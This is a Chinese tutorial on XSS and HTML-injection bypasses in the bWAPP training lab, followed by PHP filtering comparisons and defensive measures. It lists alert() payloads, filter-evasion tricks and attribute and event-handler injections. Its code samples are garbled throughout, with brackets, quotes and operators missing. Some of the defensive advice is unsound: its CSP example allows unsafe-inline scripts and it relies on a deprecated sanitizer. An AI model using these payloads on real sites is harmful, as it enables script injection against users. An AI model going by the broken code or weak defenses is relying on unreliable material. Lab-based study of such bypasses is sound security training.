
bWAPP 靶场 XSS 与 HTML 注入 4 种绕过手法从编码到 DOM实战对比 3 种过滤函数1. 靶场环境与漏洞基础bWAPPBuggy Web Application是一个专为 Web 安全测试设计的开源漏洞演练平台包含 100 多种常见 Web 漏洞场景。作为安全研究的标准沙盒环境其核心价值在于多层级防护模拟每个漏洞提供 Low/Medium/High 三种安全级别真实漏洞复现覆盖 OWASP Top 10 所有风险项教学友好性内置详细漏洞说明和修复建议在 XSS 与 HTML 注入场景中bWAPP 主要模拟了以下攻击面漏洞类型注入点位置危害等级反射型 XSS (GET)URL 参数★★★★存储型 XSS博客评论表单★★★★★DOM 型 XSS客户端脚本解析★★★☆iFrame 注入第三方资源嵌入参数★★★★提示实际测试时建议使用 Firefox 或旧版 IE 浏览器Chrome 的 XSS Auditor 可能干扰部分攻击效果2. 四种经典绕过手法解析2.1 URL 编码双重转换适用场景当服务端对输入进行 HTML 实体编码但存在解码逻辑时攻击步骤构造基础 payloadscriptalert(1)/script进行第一次 URL 编码%3Cscript%3Ealert%281%29%3C%2Fscript%3E对编码结果再次 URL 编码%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E原理分析// 伪代码展示服务端处理流程 $input urldecode($_GET[param]); // 第一次解码 → 得到单次编码字符串 $input htmlspecialchars($input); // 转义特殊字符 echo urldecode($input); // 第二次解码 → 还原原始HTML标签实战对比Low 级别直接执行Medium 级别需双重编码High 级别htmlspecialchars($data, ENT_QUOTES)完全防御2.2 DOM 碎片注入适用场景当输入被插入到 JavaScript 字符串中时payload 构造;alert(1);// /scriptscriptalert(2)/script案例演示script var userInput [攻击者输入]; // 注入点 document.write(div userInput /div); /script防御突破点闭合前一个 script 标签使用 HTML 实体编码绕过字符串检测利用 SVG/MathML 等特殊上下文2.3 iframe 参数污染攻击流程识别未过滤的 iframe 属性如 width/height在最后参数追加 payloadwidth500 onloadalert(1)利用属性解析特性执行脚本防御对比表防护级别过滤函数是否可绕过Low无过滤是Mediumaddslashes()是Highhtmlspecialchars否2.4 事件处理器注入创新手法img srcx onerroralert(1) svg/onloadalert(2) body onpageshowalert(3)特殊场景突破利用 autofocus 属性input autofocus onfocusalert(1)使用伪协议a hrefjavascript:alert(1)点击/a3. 三种过滤函数实战评测3.1 htmlspecialchars() 防御体系安全配置// 最安全用法 htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, UTF-8);转义范围字符转义结果绕过尝试记录尝试 UTF-7 编码失败使用 JavaScript 伪协议失败测试 CSS 表达式失败3.2 addslashes() 的局限性典型漏洞代码echo input value . addslashes($input) . ;突破方案提前闭合属性 onclickalert(1) //利用 JSON 上下文{data:/scriptscriptalert(1)/script}3.3 自定义过滤的盲点常见缺陷模式function custom_filter($input) { $filtered str_replace([script, onload], , $input); return $filtered; }绕过技巧大小写变形ScRiPt嵌套标签scrscriptipt利用换行符img srcx\nalt1\nonerroralert(1)4. 防御方案与最佳实践4.1 安全编码策略上下文相关防御矩阵输出位置推荐方案示例代码HTML 正文htmlspecialchars ENT_QUOTESecho htmlspecialchars($data)HTML 属性额外引号过滤filter_var($data, FILTER_SANITIZE_STRING)JavaScript 块JSON_HEX_TAGjson_encode($data, JSON_HEX_TAG)URL 参数urlencodeecho urlencode($data)4.2 深度防御措施CSP 策略示例Content-Security-Policy: default-src self; script-src unsafe-inline输入验证正则// 允许的HTML标签白名单 $clean preg_replace(/(?!b|i|p|br)[^]/i, , $input);浏览器安全头add_header X-XSS-Protection 1; modeblock; add_header X-Content-Type-Options nosniff;4.3 自动化检测方案OWASP ZAP 测试脚本def test_xss(url): payloads [scriptalert(1)/script, javascript:alert(1)] for payload in payloads: res requests.get(url ?param payload) if payload in res.text: print(fVulnerable to {payload})Burp Suite 扫描配置安装 XSS Validator 插件配置攻击载荷生成规则设置反射检测正则表达式